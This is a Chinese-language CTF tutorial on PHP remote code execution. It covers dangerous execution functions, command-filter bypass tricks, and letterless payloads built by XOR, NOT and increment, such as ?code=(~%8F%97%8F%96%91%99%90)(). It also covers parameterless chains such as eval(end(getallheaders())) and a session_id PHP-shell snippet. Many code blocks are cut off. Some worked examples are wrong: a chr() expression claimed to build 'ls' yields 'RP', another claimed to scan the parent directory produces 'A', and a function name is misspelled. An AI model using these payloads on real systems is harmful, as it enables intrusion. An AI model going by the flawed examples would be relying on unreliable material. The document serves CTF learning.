CTF-Web-PHP-RCE
CTF-Web-PHP-RCE
~made by Mitunlny(M.Y)~
参考文章:
PHP RCE 基础
一、RCE漏洞概述
什么是RCE——基本概念
远程代码/命令执行漏洞(Remote Code/Command Execute,简称RCE)是Web安全领域中危害性极高的漏洞类型,主要分为两类:
- 代码执行漏洞:针对后端编程语言(如PHP、Java、Python等)的漏洞
- 命令执行漏洞:针对操作系统层面的漏洞
本篇仅涉及PHP的代码执行漏洞
RCE漏洞成因
当开发人员为了实现功能灵活性,在代码中调用动态执行函数时,若未对用户输入进行严格过滤,攻击者就可以构造恶意输入执行任意代码或系统命令。这种漏洞通常出现在以下场景:
- 使用字符串转代码函数(如eval())
- 调用系统命令函数(如system())
- 动态包含文件功能
- 模板引擎解析
二、相关函数
命令执行
system()
1 | #string system ( string $command [, int &$return_var ] ) |
exec()
1 |
|
popen()
1 | #resource popen ( string $command , string $mode ) |
proc_open()
1 | resource proc_open ( |
passthru()
1 | #void passthru ( string $command [, int &$return_var ] ) |
shell_exec()
1 | #string shell_exec( string &command) |
反引号 `
1 | #shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体,当禁用shell_exec时,` 也不可执行 |
pcntl_exec()
1 | #void pcntl_exec ( string $path [, array $args [, array $envs ]] ) |
代码注入
eval()
1 | #传入的参数必须为PHP代码,既需要以分号结尾。 |
assert()
1 | #assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。 |
preg_replace()
1 | #preg_replace('正则规则','替换字符','目标字符') |
create_function()
1 | #创建匿名函数执行代码 |
array_map()
1 | #array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。 |
call_user_func()
1 | #传入的参数作为assert函数的参数 |
call_user_func_array()
1 | #将传入的参数作为数组的第一个值传递给assert函数 |
array_filter()
1 | #用回调函数过滤数组中的元素:array_filter(数组,函数) |
uasort()
1 | #php环境>=<5.6才能用 |
三、例题
- https://www.nssctf.cn/problem/424
- https://www.nssctf.cn/problem/383
- https://www.nssctf.cn/problem/425
- https://www.nssctf.cn/problem/3090
四、绕过方式
空格
1 | #常见的绕过符号有: |
命令分隔符
1 | %0a #换行符,需要php环境 |
关键字
假如过滤了关键字cat\flag,无法读取不了flag.php,又该如何去做
拼接绕过
1 | #执行ls命令: |
编码绕过
1 | #base64 |
单引号和双引号绕过
1 | c'a't test |
反斜杠绕过
1 | ca\t test |
通过$PATH绕过
1 | #echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成 |
通配符绕过
- […]表示匹配方括号之中的任意一个字符
- {…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
- {…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开
1 | cat t?st |
PHP RCE 进阶技巧
例题
一、无字母数字RCE
技术原理与背景
无字母数字RCE是指在不使用任何字母(a-z,A-Z)和数字(0-9)的情况下实现代码执行的技巧。这种技术在以下场景特别有用:
- 过滤了所有字母和数字的CTF题目
- 严格的WAF规则过滤了常规payload
- 需要绕过字符限制的实战环境
例如:
1 |
|
思路:
利用各种非数字字母的字符,经过各种变换(异或,取反,自增),构造出单个的字母字符,然后把单个字符拼接成函数名,进行动态执行。
核心实现方法
1.异或
php7有一种特性叫做函数的动态调用,即在字符串上加一个括号就可以调用和字符串同名的函数
例如:
1 | ("phpinfo")(); |
而其中的字符串可以是任意形式,例如拼接:("php"."info")
或者运算的结果
异或运算,本质是得到这样的字符串然后括起来,进行命令操作
这里的异或,指的是php按位异或,在php 中,两个字符异或后,得到的依然是一个字符!
例如:将字符“A”和“?”进行异或:
1 |
|
得到:~
它是如何计算的呢,过程如下:
首先将 A 和 ? 分别转换为对应的ASCII码,A变为65,?变为63
然后将其转换为对应的二进制数,A变为1000001,?变为111111 接下来就进行运算,异或的运算规则是相同为0,不同为1
A: 1000001
?: 0111111(少一位,前面补0)
结果: 1111110
接下来将其二进制转换为对应十进制数,1111110对应的十进制数为126,根据ASCII码表可知126对应的是~,所以这个时候得到的字符就是~
因此,我们利用这种思路,就可以借助异或构造payload。
2.取反
取反其实是利用了不可见字符,我们对一个字符进行两次取反,得到的还是其本身。当我们进行一次取反过后,对其进行URL编码,再对其进行取反,此时可以得到可见的字符,它的本质其实还是这个字符本身,然后因为取反用的多是不可见字符,所以这里就达到了一种绕过的目的
取反运算符(~)的作用
在PHP中,~
是按位取反运算符,它对一个数的每一位二进制位进行取反操作(0变1,1变0)9。例如:
1 | echo ~3; // 输出-4 |
取反绕过的核心是:
- 将想要执行的PHP代码进行取反操作
- 将取反后的结果进行URL编码
- 通过eval等函数执行取反后的代码
因为取反后的字符大多是不可见字符,可以绕过基于正则表达式的字符过滤。
具体实现步骤
基本payload构造:
假设我们要执行phpinfo();
,可以按照以下步骤构造payload:
- 对”phpinfo”进行取反:
1 | echo ~'phpinfo'; // 输出不可见字符 |
- 对取反结果进行URL编码:
1 | echo urlencode(~'phpinfo'); // 输出"%8F%97%8F%96%91%99%90" |
- 最终payload格式:
1 | ?code=(~%8F%97%8F%96%91%99%90)(); |
注意括号的使用:取反部分要用括号括起来,最后的分号不能少5。
以CTF题目为例,当遇到如下过滤条件时:
1 | if(preg_match("/[A-Za-z0-9]+/",$code)){ |
我们可以使用取反绕过:
1 | ?code=(~%8F%97%8F%96%91%99%90)(); // 执行phpinfo() |
可以使用以下PHP代码生成取反payload:
1 |
|
3.自增
什么是自增绕过?
自增绕过是一种在PHP代码中,当字母和数字被严格过滤时,通过利用PHP的类型转换和自增运算符(++)特性来构造所需字符的技术。它允许攻击者在无法直接输入字母数字的情况下,逐步”构建”出执行命令所需的字符7。
基本行为:
在PHP中,自增运算符有两种形式:
- 前置自增(
++$a
):先增加变量的值,然后返回新值 - 后置自增(
$a++
):先返回变量的当前值,然后增加变量的值
例如:
1 | $a = 'A'; |
为什么自增可以用于RCE绕过?
当Web应用过滤了所有字母和数字时,传统的RCE方法(如直接输入system('ls')
)无法使用。但PHP中:
- 空数组
[]
可以转换为字符串’Array’ - 字符串可以通过自增逐步构建出需要的字符
- 利用这些特性可以构造出函数名和参数7
核心原理:
- 从空数组开始构建字符串
1 | $_ = []; // 创建一个空数组 |
- 利用自增构建字符
PHP中字符串的自增遵循字母表顺序:
1 | $_ = 'A'; |
- 构建完整函数调用
通过逐步自增,可以从空字符串开始构建出如assert
、system
等关键函数名,以及执行命令所需的参数7。
Payload解析
下面是一个典型的自增绕过Payload,用于执行assert($_POST[_])
:
1 | $_=[]; |
使用时配合POST参数:_=phpinfo();
即可执行任意PHP代码7。
优缺点:
优点:
- 完全不依赖字母和数字字符
- 在严格过滤环境下仍能工作
- 可以构建任意函数名和参数
缺点:
- Payload通常较长且复杂
- 需要PHP环境支持字符串自增行为
- 对PHP版本有一定要求(某些版本行为可能不同)
二、无参数RCE
无参RCE是一种特殊的代码执行漏洞,攻击者可以在不直接传递参数的情况下,通过构造特定的函数调用链来实现远程代码执行。以下是关于PHP无参RCE的详细介绍:
成因
PHP无参RCE的成因主要与以下几个方面有关:
代码逻辑缺陷:某些PHP代码可能会对用户输入进行不安全的处理,例如使用
eval()
函数直接执行用户输入的代码,而没有对输入进行严格的过滤正则表达式绕过:某些情况下,开发者可能会使用正则表达式来过滤用户输入,但攻击者可以通过构造特定的函数调用链来绕过这些过滤
PHP函数特性:PHP中存在一些无参数的函数或可以通过特定方式构造参数的函数,这些函数可以被攻击者利用
利用方式
利用PHP无参RCE的关键在于构造无参数的函数调用链,以实现代码执行。以下是一些常见的利用方式:
利用无参数函数:
scandir()
:获取当前目录下的文件列表localeconv()
:返回包含本地数字及货币格式信息的数组,可以用于构造特定的字符current()
、pos()
:获取数组的第一个值array_rand()
、array_reverse()
:操作数组以获取特定值
构造文件路径:
- 通过
getcwd()
、dirname()
等函数构造文件路径,结合scandir()
获取目标文件
- 通过
读取文件内容:
- 利用
highlight_file()
、show_source()
、readfile()
等函数读取文件内容
- 利用
命令执行:
- 使用
eval()
、assert()
等函数执行代码
- 使用
示例
以下是一个典型的无参RCE场景:
1 |
|
攻击者可以通过构造类似以下的exp
参数来绕过过滤并执行代码:
1 | exp=print_r(scandir(current(localeconv()))); |
通过current(localeconv())
构造小数点,进而调用scandir()
获取当前目录下的文件列表
PHP相关函数
附:PHP官方文档的函数介绍:https://www.php.net/manual/zh/indexes.functions.php
一、HTTP相关函数
1. getallheaders()
- 功能:获取所有HTTP请求头,返回关联数组
- 利用:从请求头中获取可控数据
1 | // 示例:获取User-Agent头 |
2. get_defined_vars()
- 功能:返回所有已定义变量的多维数组
- 利用:获取GET/GET/_POST等超全局变量
1 | current(current(get_defined_vars())); // 获取第一个变量 |
二、会话控制函数
3. session_id()
- 功能:获取/设置当前会话ID
- 利用:通过设置恶意session ID执行代码
1 | session_id('evilcode'); |
4. session_start()
- 功能:启动新会话或重用现有会话
- 利用:配合session_id()使用
三、本地化函数
5. localeconv()
- 功能:返回本地化数字格式信息
- 关键利用:返回的数组第一个元素是小数点(.)
1 | current(localeconv()); // 得到点字符"." |
四、文件系统函数
6. scandir()
- 功能:列出目录中的文件和目录
- 利用:目录遍历核心函数
1 | scandir('.'); // 列出当前目录 |
7. chdir()
- 功能:改变当前目录
- 利用:配合scandir()跳转目录
1 | chdir('..'); // 跳到上级目录 |
8. getcwd() / grtpwd()
- 功能:获取当前工作目录
- 利用:获取路径信息
1 | getcwd(); // 如"/var/www/html" |
9. dirname()
- 功能:返回路径中的目录部分
- 利用:目录跳转
1 | dirname('/var/www'); // 返回"/var" |
五、数组操作函数
10. current() / pos()
- 功能:返回数组当前元素
- 利用:获取数组第一个元素
1 | current(scandir('.')); // 第一个文件 |
11. array_reverse()
- 功能:返回逆序数组
- 利用:改变数组顺序
1 | end(array_reverse(scandir('.'))); // 获取第一个文件 |
12. array_flip()
- 功能:交换键值
- 利用:改变数组结构
1 | array_flip(['a'=>1,'b'=>2]); // [1=>'a',2=>'b'] |
13. array_rand()
- 功能:随机返回数组键名
- 利用:随机选择文件
1 | scandir('.')[array_rand(scandir('.'))]; |
14. next() / prev() / end()
- 功能:移动数组指针
- 利用:遍历数组
1 | end(scandir('.')); // 最后一个文件 |
六、输出函数
15. print_r()
- 功能:打印易读的变量信息
- 利用:输出数组内容
1 | print_r(scandir('.')); |
16. show_source() / highlight_file()
- 功能:语法高亮显示文件源码
- 利用:读取文件
1 | show_source(end(scandir('.'))); |
17. readfile() / file_get_contents()
- 功能:读取文件内容
- 利用:读取flag
1 | readfile('flag.txt'); |
七、编码转换函数
18. chr() / ord()
- 功能:ASCII码与字符互转
- 利用:构造特定字符
1 | chr(65); // 'A' |
19. hex2bin()
- 功能:十六进制转二进制
- 利用:构造字符串
1 | hex2bin('414243'); // 'ABC' |
20. urldecode()
- 功能:URL解码
- 利用:解码特殊字符
1 | urldecode('%41'); // 'A' |
八、数学函数
21. phpversion()
- 功能:获取PHP版本
- 利用:判断环境
1 | floor(phpversion()); // 主版本号 |
22. rand() / time()
- 功能:随机数/时间戳
- 利用:生成临时数据
1 | rand(1,100); |
23. localtime()
- 功能:返回本地时间数组
- 利用:获取数字
1 | localtime()[0]; // 秒数 |
经典利用组合
1. 读取当前目录文件
1 | show_source(end(scandir(getcwd()))); |
2. 利用HTTP头执行代码
1 | eval(end(getallheaders())); |
3. 构造命令执行
1 | system(chr(ord('A')+17).chr(ord('Q')-1)); // 构造'ls' |
4. 目录遍历技巧
1 | print_r(scandir(chr(ord('a')-32))); // 扫描上级目录 |
5. Session ID利用
1 | session_id('<?php system("ls");?>'); |